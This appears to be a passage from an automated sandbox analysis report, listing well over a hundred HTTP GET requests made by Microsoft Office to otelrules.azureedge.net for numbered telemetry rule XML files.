Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
